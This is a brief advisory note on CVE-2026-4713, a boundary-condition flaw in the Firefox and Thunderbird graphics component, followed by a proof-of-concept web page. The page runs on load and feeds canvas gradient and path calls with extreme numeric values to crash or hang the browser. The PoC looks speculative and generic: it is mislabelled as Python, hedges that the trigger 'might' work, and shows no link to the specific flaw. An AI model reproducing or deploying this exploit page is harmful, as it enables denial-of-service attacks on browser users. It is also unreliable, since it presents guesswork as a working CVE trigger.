Incorrect boundary conditions in the Graphics component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-4713
Description: This script attempts to trigger the boundary condition issue in the Graphics component.
Note: Actual exploitation requires specific payload tuning based on the vulnerable component version.
-->
<html>
<head>
<title>CVE-2026-4713 Graphics Crash PoC</title>
</head>
<body>
<h1>CVE-2026-4713 Proof of Concept</h1>
<canvas id="exploitCanvas" width="800" height="600"></canvas>
<script>
function triggerVuln() {
var canvas = document.getElementById('exploitCanvas');
var ctx = canvas.getContext('2d', { alpha: false }); // Context settings
// Attempt to manipulate graphics data to hit incorrect boundary conditions
// This involves creating a path or gradient with extreme or malformed values
try {
// Create a linear gradient with manipulated coordinates
// Vulnerability might be triggered by values exceeding expected integer boundaries
var gradient = ctx.createLinearGradient(0, 0, 4294967295, 4294967295);
gradient.addColorStop(0, 'rgba(255,0,0,1)');
gradient.addColorStop(1, 'rgba(0,0,255,1)');
ctx.fillStyle = gradient;
ctx.fillRect(0, 0, 800, 600);
// Alternative trigger: Drawing a massive path
ctx.beginPath();
ctx.moveTo(0, 0);
ctx.lineTo(1.7976931348623157e+308, 1.7976931348623157e+308); // Max double value
ctx.stroke();
console.log("Render complete. If browser hangs or crashes, PoC successful.");
} catch (e) {
console.error("Exception occurred during render attempt:", e);
}
}
// Execute automatically on load
window.onload = triggerVuln;
</script>
</body>
</html>